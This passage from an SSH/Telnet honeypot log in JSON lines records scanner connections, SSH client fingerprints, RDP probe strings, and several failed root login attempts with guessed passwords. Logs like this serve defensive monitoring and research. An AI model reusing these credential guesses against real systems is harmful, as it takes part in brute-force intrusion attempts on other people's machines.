s128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:32.337941Z","src_ip":"185.236.22.41","session":"e63dd07e1b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rai1969","message":"login attempt [root/rai1969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:32.946521Z","src_ip":"185.236.22.41","session":"e63dd07e1b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:34.171056Z","src_ip":"185.236.22.41","session":"e63dd07e1b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00693202018738,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:40.619428Z","src_ip":"152.42.224.71","session":"f53c3081199c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55912,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e8ab6519f1","protocol":"telnet","message":"New connection: 152.42.224.71:55912 (10.17.0.5:23) [session: 43e8ab6519f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:45.641441Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38390,"dst_ip":"10.17.0.5","dst_port":23,"session":"137968595cb5","protocol":"telnet","message":"New connection: 152.42.224.71:38390 (10.17.0.5:23) [session: 137968595cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:48.441901Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":57700,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d0dbe484d2d","protocol":"ssh","message":"New connection: 103.75.183.219:57700 (159.203.135.109:22) [session: 0d0dbe484d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:49.217427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:49.222801Z","src_ip":"103.75.183.219","session":"0d0dbe484d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:49.468083Z","src_ip":"103.75.183.219","session":"0d0dbe484d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rabota","message":"login attempt [root/rabota] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:50.198801Z","src_ip":"103.75.183.219","session":"0d0dbe484d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:51.445290Z","src_ip":"103.75.183.219","session":"0d0dbe484d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.469807624816895,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:58.911586Z","src_ip":"152.42.224.71","session":"137968595cb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":59924,"dst_ip":"159.203.135.109","dst_port":22,"session":"daf4f0d290f0","protocol":"ssh","message":"New connection: 103.27.238.116:59924 (159.203.135.109:22) [session: daf4f0d290f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:59.108390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:59.117403Z","src_ip":"103.27.238.116","session":"daf4f0d290f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:59.391597Z","src_ip":"103.27.238.116","session":"daf4f0d290f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987987","message":"login attempt [root/987987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:06:00.214627Z","src_ip":"103.27.238.116","session":"daf4f0d290f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:06:01.493738Z","src_ip":"103.27.238.116","session":"daf4f0d290f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46070,"dst_ip":"10.17.0.5","dst_port":23,"session":"40199a45e992","protocol":"telnet","message":"New connection: 152.42.224.71:46070 (10.17.0.5:23) [session: 40199a45e992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:06:17.759633Z"}
{"eventid":"cowrie.session.closed","duration":41.14530420303345,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:06:26.786642Z","src_ip":"152.42.224.71","session":"43e8ab6519f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.73575472831726,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:06:38.495265Z","src_ip":"152.42.224.71","session":"40199a45e992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60186,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9116a8a34db","protocol":"telnet","message":"New connection: 152.42.224.71:60186 (10.17.0.5:23) [session: f9116a8a34db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:02.902225Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41474,"dst_ip":"10.17.0.5","dst_port":23,"session":"5137c17435df","protocol":"telnet","message":"New connection: 152.42.224.71:41474 (10.17.0.5:23) [session: 5137c17435df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:13.220497Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":57886,"dst_ip":"10.17.0.5","dst_port":22,"session":"43bd7f92f2db","protocol":"ssh","message":"New connection: 51.250.105.222:57886 (10.17.0.5:22) [session: 43bd7f92f2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:27.887751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:27.894058Z","src_ip":"51.250.105.222","session":"43bd7f92f2db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:28.029277Z","src_ip":"51.250.105.222","session":"43bd7f92f2db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123zxc","message":"login attempt [root/zxc123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:28.416442Z","src_ip":"51.250.105.222","session":"43bd7f92f2db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:29.548460Z","src_ip":"51.250.105.222","session":"43bd7f92f2db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35640,"dst_ip":"10.17.0.5","dst_port":23,"session":"8864ca747a04","protocol":"telnet","message":"New connection: 152.42.224.71:35640 (10.17.0.5:23) [session: 8864ca747a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:47.046216Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64985,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe67cfc17002","protocol":"ssh","message":"New connection: 167.172.81.52:64985 (159.203.135.109:22) [session: fe67cfc17002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:48.484021Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:48.489011Z","src_ip":"167.172.81.52","session":"fe67cfc17002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:48.492706Z","src_ip":"167.172.81.52","session":"fe67cfc17002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.93104672431946,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:07:56.151408Z","src_ip":"152.42.224.71","session":"5137c17435df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.178689002990723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:08:17.224745Z","src_ip":"152.42.224.71","session":"8864ca747a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.86137890815735,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:08:36.763489Z","src_ip":"152.42.224.71","session":"f9116a8a34db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":53014,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec420b06f91f","protocol":"telnet","message":"New connection: 201.205.247.46:53014 (159.203.135.109:23) [session: ec420b06f91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:09:07.623611Z"}
{"eventid":"cowrie.session.closed","duration":1.617640733718872,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:09:09.241108Z","src_ip":"201.205.247.46","session":"ec420b06f91f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38150,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6c35c7ffe65","protocol":"telnet","message":"New connection: 152.42.224.71:38150 (10.17.0.5:23) [session: f6c35c7ffe65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:09:26.812921Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48708,"dst_ip":"10.17.0.5","dst_port":23,"session":"a96d4e49115a","protocol":"telnet","message":"New connection: 152.42.224.71:48708 (10.17.0.5:23) [session: a96d4e49115a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:10:34.505946Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":32974,"dst_ip":"10.17.0.5","dst_port":22,"session":"67ec28b30240","protocol":"ssh","message":"New connection: 147.45.199.80:32974 (10.17.0.5:22) [session: 67ec28b30240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:11:09.603542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:11:09.610703Z","src_ip":"147.45.199.80","session":"67ec28b30240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:11:09.710187Z","src_ip":"147.45.199.80","session":"67ec28b30240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker2","message":"login attempt [root/stalker2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:11:10.009671Z","src_ip":"147.45.199.80","session":"67ec28b30240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:11:11.108913Z","src_ip":"147.45.199.80","session":"67ec28b30240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.54909205436707,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:11:24.361904Z","src_ip":"152.42.224.71","session":"f6c35c7ffe65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57148,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf4751f18d69","protocol":"ssh","message":"New connection: 152.42.212.128:57148 (10.17.0.5:22) [session: bf4751f18d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:24.746054Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:24.754813Z","src_ip":"152.42.212.128","session":"bf4751f18d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:24.758730Z","src_ip":"152.42.212.128","session":"bf4751f18d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37896,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc5562bcf59e","protocol":"ssh","message":"New connection: 103.153.68.219:37896 (159.203.135.109:22) [session: dc5562bcf59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:26.459064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:26.463723Z","src_ip":"103.153.68.219","session":"dc5562bcf59e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:26.715374Z","src_ip":"103.153.68.219","session":"dc5562bcf59e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw12qw","message":"login attempt [root/12qw12qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:27.469437Z","src_ip":"103.153.68.219","session":"dc5562bcf59e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:28.724629Z","src_ip":"103.153.68.219","session":"dc5562bcf59e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.53997349739075,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:34.045793Z","src_ip":"152.42.224.71","session":"a96d4e49115a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35780,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b002c03908a","protocol":"ssh","message":"New connection: 103.195.236.96:35780 (159.203.135.109:22) [session: 8b002c03908a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:54.622130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:54.630112Z","src_ip":"103.195.236.96","session":"8b002c03908a","protocol":"ssh"}
